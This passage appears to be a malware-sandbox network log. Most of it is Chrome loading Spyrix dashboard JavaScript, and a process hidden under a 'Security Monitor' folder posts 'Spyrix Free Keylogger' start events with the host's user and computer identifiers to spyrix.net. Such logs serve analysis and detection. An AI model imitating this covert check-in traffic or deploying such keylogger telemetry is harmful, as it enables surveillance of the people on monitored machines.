2024-10-02 04:11:42 UTC	419	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 4d 6f 6e 69 74 6f 72 69 6e 67 3a 53 74 61 72 74 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 6a 6f 6e 65 73 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 31 33 38 37 32 37 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 30 33 37 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 31 3a 34 30 2e 32 39 39 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f Data Ascii: &action=app:Monitoring:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=138727&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001037&comp_time=2024-10-02 00:11:40.299&prg_lng=english&os_caption= ()&os_type=windo
2024-10-02 04:11:43 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:11:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49796	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:42 UTC	595	OUT	GET /dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:43 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 796 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-31c" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T02:04:56+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:43 UTC	796	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 2c 67 20 61 73 20 63 2c 63 20 61 73 20 73 2c 6f 20 61 73 20 66 2c 62 20 61 73 20 6d 2c 68 20 61 73 20 70 2c 6e 2c 75 20 61 73 20 61 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 78 7d 66 72 6f 6d 22 2e 2f 54 65 78 74 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 61 36 36 34 35 34 32 64 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 6f 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 54 65 78 74 2e 6d 6f 64 75 6c 65 2d 63 37 36 39 62 39 61 65 2e 6a 73 22 3b 63 6f 6e 73 74 20 62 3d 64 28 7b 5f 5f 6e 61 6d 65 3a 22 42 75 74 74 6f 6e 54 65 78 74 22 2c 70 72 6f 70 73 3a 7b 77 68 69 74 65 53 70 61 63 65 3a Data Ascii: import{d,g as c,c as s,o as f,b as m,h as p,n,u as a}from"./index-004f4025.js";import{_ as x}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{c as o}from"./ButtonText.module-c769b9ae.js";const b=d({__name:"ButtonText",props:{whiteSpace:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49797	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:42 UTC	562	OUT	GET /dashboard30/assets/useValidation-954c07e6.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:43 UTC	390	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 838 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-346" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T03:41:35+00:00 X-Node: m9-up-gc81 Accept-Ranges: bytes
2024-10-02 04:11:43 UTC	838	IN	Data Raw: 69 6d 70 6f 72 74 7b 61 63 20 61 73 20 6e 2c 6d 20 61 73 20 69 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 64 3d 65 3d 3e 7b 63 6f 6e 73 74 7b 74 7d 3d 6e 3b 72 65 74 75 72 6e 20 65 2e 69 6e 63 6c 75 64 65 73 28 22 40 22 29 26 26 65 2e 69 6e 63 6c 75 64 65 73 28 22 2e 22 29 3f 22 22 3a 74 28 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 20 76 61 6c 69 64 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 22 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 29 7b 63 6f 6e 73 74 7b 74 7d 3d 6e 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3c 3d 31 38 30 3f 22 22 3a 74 28 22 54 68 65 20 66 69 65 6c 64 20 6d 75 73 74 20 63 6f 6e 74 61 69 6e 20 6c 65 73 73 20 74 68 61 6e 20 31 38 30 20 63 68 61 72 61 63 74 65 72 73 Data Ascii: import{ac as n,m as i}from"./index-004f4025.js";const d=e=>{const{t}=n;return e.includes("@")&&e.includes(".")?"":t("Please enter a valid e-mail address")};function m(e){const{t}=n;return e.length<=180?"":t("The field must contain less than 180 characters

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49795	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:42 UTC	590	OUT	GET /dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:43 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 3702 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-e76" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T21:43:33+00:00 X-Node: m9-up-gc90 Accept-Ranges: bytes
2024-10-02 04:11:43 UTC	3702	IN	Data Raw: 69 6d 70 6f 72 74 20 42 20 66 72 6f 6d 22 2e 2f 6c 6f 6f 70 2d 63 34 35 66 30 66 31 65 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 64 20 61 73 20 62 2c 6d 20 61 73 20 69 2c 61 69 20 61 73 20 77 2c 63 20 61 73 20 64 2c 6f 20 61 73 20 75 2c 62 20 61 73 20 68 2c 69 20 61 73 20 66 2c 6e 20 61 73 20 6f 2c 75 20 61 73 20 61 2c 68 20 61 73 20 70 2c 55 20 61 73 20 76 2c 7a 20 61 73 20 6d 2c 65 20 61 73 20 43 2c 79 20 61 73 20 49 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 45 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 35 36 65 64 66 35 61 36 2e 6a 73 22 3b 63 6f 6e 73 74 20 57 3d 22 2d 7a 74 Data Ascii: import B from"./loop-c45f0f1e.js";import{d as b,m as i,ai as w,c as d,o as u,b as h,i as f,n as o,u as a,h as p,U as v,z as m,e as C,y as I}from"./index-004f4025.js";import{_ as E}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";const W="-zt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49801	158.69.117.119	443	3084	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:42 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 412 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:11:42 UTC	412	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 52 75 6e 3a 46 69 72 73 74 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 6a 6f 6e 65 73 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 31 33 38 37 32 37 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 30 33 37 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 31 3a 34 30 2e 36 30 39 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f 77 73 26 6f 73 5f 63 Data Ascii: &action=app:Run:First&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=138727&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001037&comp_time=2024-10-02 00:11:40.609&prg_lng=english&os_caption= ()&os_type=windows&os_c
2024-10-02 04:11:43 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:11:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49798	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:42 UTC	553	OUT	GET /dashboard30/assets/loop-c45f0f1e.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:43 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 523 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-20b" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T01:10:54+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:43 UTC	523	IN	Data Raw: 69 6d 70 6f 72 74 7b 6f 20 61 73 20 65 2c 62 20 61 73 20 6f 2c 69 20 61 73 20 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 73 3d 7b 78 6d 6c 6e 73 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 2c 76 69 65 77 42 6f 78 3a 22 30 20 30 20 32 34 20 32 34 22 7d 2c 6e 3d 74 28 22 70 61 74 68 22 2c 7b 64 3a 22 4d 31 34 2e 37 32 20 31 33 2e 34 33 34 68 2d 2e 36 37 37 6c 2d 2e 32 34 2d 2e 32 33 32 61 35 2e 35 35 20 35 2e 35 35 20 30 20 30 20 30 20 31 2e 33 34 36 2d 33 2e 36 32 37 20 35 2e 35 37 34 20 35 2e 35 37 34 20 30 20 31 20 30 2d 35 2e 35 37 34 20 35 2e 35 37 34 20 35 2e 35 35 20 35 2e 35 35 20 30 20 30 20 30 20 33 2e 36 32 37 2d 31 2e 33 34 36 6c 2e 32 33 32 2e Data Ascii: import{o as e,b as o,i as t}from"./index-004f4025.js";const s={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},n=t("path",{d:"M14.72 13.434h-.677l-.24-.232a5.55 5.55 0 0 0 1.346-3.627 5.574 5.574 0 1 0-5.574 5.574 5.55 5.55 0 0 0 3.627-1.346l.232.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49799	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:43 UTC	419	OUT	GET /dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:43 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 733 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-2dd" Cache: STALE X-Cached-Since: 2024-10-01T19:13:57+00:00 X-Node: m9-up-gc28 Accept-Ranges: bytes
2024-10-02 04:11:43 UTC	733	IN	Data Raw: 69 6d 70 6f 72 74 7b 45 20 61 73 20 75 2c 73 20 61 73 20 6c 2c 61 74 20 61 73 20 69 2c 70 20 61 73 20 6d 2c 64 20 61 73 20 6f 2c 6f 20 61 73 20 72 2c 62 20 61 73 20 5f 2c 72 20 61 73 20 70 2c 6e 20 61 73 20 66 2c 75 20 61 73 20 63 2c 67 2c 65 20 61 73 20 64 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 68 7d 66 72 6f 6d 22 2e 2f 43 6f 6e 66 69 72 6d 50 68 6f 6e 65 4d 6f 64 61 6c 2e 6d 6f 64 75 6c 65 2d 33 66 33 36 39 62 33 32 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 45 7d 66 72 6f 6d 22 2e 2f 54 65 78 74 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 61 36 36 34 35 34 32 64 2e 6a 73 22 3b 66 75 6e 63 74 69 6f 6e Data Ascii: import{E as u,s as l,at as i,p as m,d as o,o as r,b as _,r as p,n as f,u as c,g,e as d}from"./index-004f4025.js";import{c as h}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as E}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49802	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:43 UTC	387	OUT	GET /dashboard30/assets/Button.module-6d4e91b8.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:43 UTC	330	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 629 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-275" Cache: HIT X-Cached-Since: 2024-10-02T04:11:42+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:43 UTC	629	IN	Data Raw: 63 6f 6e 73 74 20 65 3d 22 67 31 6a 44 45 4e 75 51 22 2c 6f 3d 22 6b 6e 33 2d 6a 70 61 38 22 2c 64 3d 22 70 69 31 61 53 67 71 4e 22 2c 72 3d 22 59 78 32 6d 49 6a 4e 35 22 2c 6e 3d 22 47 51 54 58 6e 50 56 68 22 2c 73 3d 22 53 70 74 36 4f 6f 39 41 22 2c 63 3d 22 52 6d 44 6c 44 74 50 31 22 2c 74 3d 22 6e 4c 49 47 57 42 32 6b 22 2c 6c 3d 22 49 65 50 78 6f 4f 71 53 22 2c 69 3d 22 41 55 6d 76 4e 54 7a 36 22 2c 61 3d 22 5f 36 76 58 51 70 6d 51 44 22 2c 6d 3d 22 71 33 56 30 32 46 68 36 22 2c 62 3d 22 53 4a 30 47 50 63 38 65 22 2c 79 3d 22 5f 35 56 65 61 78 45 64 39 22 2c 70 3d 22 63 4b 66 79 68 4a 71 2d 22 2c 68 3d 22 47 77 2d 6c 36 37 79 4d 22 2c 75 3d 22 58 6a 4a 4d 4f 6a 4b 46 22 2c 78 3d 22 57 5a 68 5a 2d 5a 4b 4c 22 2c 50 3d 22 65 49 48 36 65 73 68 57 22 2c Data Ascii: const e="g1jDENuQ",o="kn3-jpa8",d="pi1aSgqN",r="Yx2mIjN5",n="GQTXnPVh",s="Spt6Oo9A",c="RmDlDtP1",t="nLIGWB2k",l="IePxoOqS",i="AUmvNTz6",a="_6vXQpmQD",m="q3V02Fh6",b="SJ0GPc8e",y="_5VeaxEd9",p="cKfyhJq-",h="Gw-l67yM",u="XjJMOjKF",x="WZhZ-ZKL",P="eIH6eshW",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49805	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:43 UTC	395	OUT	GET /dashboard30/assets/ButtonTemplate.module-c837805f.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:43 UTC	328	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 129 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-81" Cache: HIT X-Cached-Since: 2024-10-02T04:11:42+00:00 X-Node: m9-up-gc81 Accept-Ranges: bytes
2024-10-02 04:11:43 UTC	129	IN	Data Raw: 63 6f 6e 73 74 20 74 3d 22 5f 36 70 74 63 2d 76 31 6f 22 2c 6f 3d 22 65 54 55 74 31 76 53 4d 22 2c 63 3d 7b 22 62 75 74 74 6f 6e 2d 74 65 6d 70 6c 61 74 65 22 3a 22 5f 36 70 74 63 2d 76 31 6f 22 2c 62 75 74 74 6f 6e 54 65 6d 70 6c 61 74 65 3a 74 2c 22 77 69 74 68 2d 69 63 6f 6e 22 3a 22 65 54 55 74 31 76 53 4d 22 2c 77 69 74 68 49 63 6f 6e 3a 6f 7d 3b 65 78 70 6f 72 74 7b 63 7d 3b 0a Data Ascii: const t="_6ptc-v1o",o="eTUt1vSM",c={"button-template":"_6ptc-v1o",buttonTemplate:t,"with-icon":"eTUt1vSM",withIcon:o};export{c};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49803	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:43 UTC	391	OUT	GET /dashboard30/assets/ButtonText.module-c769b9ae.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:43 UTC	329	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 120 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-78" Cache: HIT X-Cached-Since: 2024-10-02T04:02:54+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
2024-10-02 04:11:43 UTC	120	IN	Data Raw: 63 6f 6e 73 74 20 74 3d 22 76 61 4a 67 37 58 47 66 22 2c 6f 3d 22 6d 74 78 46 75 75 71 6f 22 2c 6e 3d 22 4d 74 41 55 6d 34 72 64 22 2c 78 3d 7b 22 62 75 74 74 6f 6e 2d 74 65 78 74 22 3a 22 76 61 4a 67 37 58 47 66 22 2c 62 75 74 74 6f 6e 54 65 78 74 3a 74 2c 74 65 78 74 3a 6f 2c 70 72 69 6d 61 72 79 3a 6e 7d 3b 65 78 70 6f 72 74 7b 78 20 61 73 20 63 7d 3b 0a Data Ascii: const t="vaJg7XGf",o="mtxFuuqo",n="MtAUm4rd",x={"button-text":"vaJg7XGf",buttonText:t,text:o,primary:n};export{x as c};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49804	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:43 UTC	386	OUT	GET /dashboard30/assets/Modal.module-d62c47b8.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:44 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1392 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-570" Cache: STALE X-Cached-Since: 2024-10-01T13:24:54+00:00 X-Node: m9-up-gc8 Accept-Ranges: bytes
2024-10-02 04:11:44 UTC	1392	IN	Data Raw: 69 6d 70 6f 72 74 7b 61 75 20 61 73 20 6e 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 72 3d 28 65 2c 6f 2c 74 29 3d 3e 7b 73 77 69 74 63 68 28 6f 29 7b 63 61 73 65 22 69 6e 63 72 65 61 73 65 22 3a 72 65 74 75 72 6e 20 65 2e 73 6f 72 74 28 28 73 2c 61 29 3d 3e 73 5b 74 5d 3e 61 5b 74 5d 3f 31 3a 2d 31 29 3b 63 61 73 65 22 64 65 63 72 65 61 73 65 22 3a 72 65 74 75 72 6e 20 65 2e 73 6f 72 74 28 28 73 2c 61 29 3d 3e 73 5b 74 5d 3c 61 5b 74 5d 3f 31 3a 2d 31 29 7d 7d 2c 79 3d 6e 28 22 6d 6f 64 61 6c 22 2c 7b 73 74 61 74 65 3a 28 29 3d 3e 28 7b 6d 6f 64 61 6c 73 51 75 65 75 65 3a 5b 5d 7d 29 2c 67 65 74 74 65 72 73 3a 7b 69 73 41 63 74 69 76 65 41 6e 79 4d 6f 64 61 6c 28 65 29 7b 72 65 74 75 72 6e 21 21 65 Data Ascii: import{au as n}from"./index-004f4025.js";const r=(e,o,t)=>{switch(o){case"increase":return e.sort((s,a)=>s[t]>a[t]?1:-1);case"decrease":return e.sort((s,a)=>s[t]<a[t]?1:-1)}},y=n("modal",{state:()=>({modalsQueue:[]}),getters:{isActiveAnyModal(e){return!!e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49806	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:43 UTC	416	OUT	GET /dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:43 UTC	330	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1185 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-4a1" Cache: HIT X-Cached-Since: 2024-10-02T04:09:14+00:00 X-Node: m9-up-gc98 Accept-Ranges: bytes
2024-10-02 04:11:43 UTC	1185	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 70 2c 6f 20 61 73 20 6e 2c 62 20 61 73 20 69 2c 72 20 61 73 20 73 2c 66 20 61 73 20 75 2c 6e 20 61 73 20 64 2c 75 20 61 73 20 6c 2c 77 20 61 73 20 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 61 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 2e 6d 6f 64 75 6c 65 2d 36 64 34 65 39 31 62 38 2e 6a 73 22 3b 63 6f 6e 73 74 20 66 3d 5b 22 74 79 70 65 22 2c 22 64 69 73 61 62 6c 65 64 22 2c 22 6f 6e 43 6c 69 63 6b 22 5d 2c 6d 3d 5b 22 6f 6e 43 6c 69 63 6b 22 5d 2c 6b 3d 70 28 7b 5f 5f 6e 61 6d 65 3a 22 42 75 74 74 6f 6e 22 2c 70 72 6f 70 73 3a 7b 73 69 7a 65 3a 7b 64 65 66 61 75 6c 74 3a 